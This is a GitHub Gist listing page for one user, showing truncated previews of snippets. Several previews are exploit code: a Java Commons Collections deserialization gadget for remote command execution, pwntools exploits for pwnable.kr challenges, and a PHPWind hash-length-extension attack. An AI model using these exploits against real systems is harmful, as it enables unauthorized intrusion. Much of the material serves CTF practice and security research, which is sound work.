Skip to content

Instantly share code, notes, and snippets.

@RickGray
RickGray / sys_auth.py
Last active January 10, 2016 17:33
"sys_auth()" function in PHPCMS and Discuz writed by Python
import time
import hashlib
import base64 as b64
def md5(string):
return hashlib.md5(str(string)).hexdigest()
# "sys_auth()" function in PHPCMS and Discuz
@RickGray
RickGray / ping.py
Created October 23, 2015 06:58 — forked from pklaus/ping.py
A pure python ping implementation using raw socket.
#!/usr/bin/env python2
"""
Other Repositories of python-ping
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* https://github.com/l4m3rx/python-ping supports Python2 and Python3
* https://bitbucket.org/delroth/python-ping
@RickGray
RickGray / github.css
Created October 28, 2015 09:21 — forked from theconektd/github.css
Github Markdown CSS - for Markdown Editor Preview
body {
font-family: Helvetica, arial, sans-serif;
font-size: 14px;
line-height: 1.6;
padding-top: 10px;
padding-bottom: 10px;
background-color: white;
padding: 30px; }
body > *:first-child {
@RickGray
RickGray / CommonsCollectionPOPGadget.java
Created November 25, 2015 14:43
Property-oriented gadget in Java to remote command execution exploits through deserialization.
package exserial.payloads;
import java.io.ObjectOutputStream;
import java.util.Map;
import java.util.HashMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
@RickGray
RickGray / sqlpwn.php
Created January 10, 2016 17:31 — forked from orangetw/sqlpwn.php
AIS3 Final CTF Web
<?php
/*
sqlpwn by orange
Don't brute force or you will be banned !
*/
session_start();
error_reporting(0);
include "template.html";
@RickGray
RickGray / bf_exp.py
Last active March 16, 2017 20:58
http://pwnable.kr/ [brain fuck]
#!/usr/bin/env python
# coding: utf-8
from pwn import *
# Remote EXP
libc = ELF('./bf_libc.so')
p = remote('pwnable.kr', 9001)
# Local EXP
@RickGray
RickGray / hash_exp.py
Last active March 16, 2017 20:57
http://pwnable.kr/ [md5 calculator]
#!/usr/bin/env python
# coding: utf-8
import os
import re
import time
import random
import urllib2
from pwn import *
#!/usr/bin/env python
# coding: utf-8
from pwn import *
p = process('./login')
ebp_over = 0x0811EB40
pp_system = 0x08049284
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over))
@RickGray
RickGray / phpwind_hash_length_extension_attack.py
Created May 26, 2016 07:13
PHPWind Hash-Length-Extension-Attack
#!/usr/bin/env python
# author: RickGray
# update: 2016-05-25
# >>>>>>>>>>>
# requests, hashpumpy modules required
# : pip install requests hashpumpy
import re
import json
import time
@RickGray
RickGray / GIF-Screencast-OSX.md
Created September 22, 2016 05:19 — forked from dergachev/GIF-Screencast-OSX.md
OS X Screencast to animated GIF

OS X Screencast to animated GIF

This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.

Screencapture GIF

Instructions

To capture the video (filesize: 19MB), using the free "QuickTime Player" application: